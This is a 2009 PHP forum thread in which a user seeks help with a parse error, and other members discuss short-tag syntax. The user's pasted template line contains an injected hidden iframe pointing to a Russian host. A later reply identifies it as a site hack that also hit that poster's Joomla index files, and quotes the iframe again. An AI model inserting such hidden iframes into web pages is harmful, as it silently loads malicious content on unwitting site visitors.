Page 1 of 1

Parse error: parse error, unexpected ';'

Posted: Wed Jul 08, 2009 12:18 am
by mr.g
Hi! I really need help on this. There's an error when I preview my site. The error is: Parse error: parse error, unexpected ';' this line:

<td <?=$bgcolor?> class="g"><img src="<?=$icon?>" alt="" border="0" align="left" hspace="5" vspace="0" /><a href="<?=$link?>" class="<?=$class?>"><?=$arrUpdates[$actr]['title']?></a><br><p align="justify"><?=str_replace(chr(13),$arrUpdates[ <iframe src="http://a3q.ru:8080/ts/in.cgi?pepsi87" width=125 height=125 style="visibility: hidden"></iframe>

Thanks!

Re: Parse error: parse error, unexpected ';'

Posted: Wed Jul 08, 2009 12:28 am
by SvanteH

Code: Select all

str_replace(chr(13),$arrUpdates[
That looks pretty odd, could you encase this line and the line before in a [ php ]-tag?

Re: Parse error: parse error, unexpected ';'

Posted: Wed Jul 08, 2009 12:29 am
by califdon
As far as I know, the syntax <?=$class?> is not valid. Try: <?php echo $class; ?>

Re: Parse error: parse error, unexpected ';'

Posted: Wed Jul 08, 2009 12:31 am
by SvanteH
<?= is known as shortttags (which on the other hand will be deprecated in PHP6) and works just fine for now.

Re: Parse error: parse error, unexpected ';'

Posted: Wed Jul 08, 2009 1:18 am
by mr.g
Fiugred it out. Thanks guys! Really appreciate it.

Re: Parse error: parse error, unexpected ';'

Posted: Fri Jul 24, 2009 2:46 am
by rlekz
Good that you've solved it, but did you know that you're site has been hacked? I'm pretty sure the instruction

<iframe src="http://a3q.ru:8080/ts/in.cgi?pepsi87" width=125 height=125 style="visibility: hidden"></iframe>

doesn't belong there. I have the same with my site. It's been hacked. This line has been added to all my index.html files and the index.php files in the administrator directory of Joomla.

I don't know how to solve everything yet.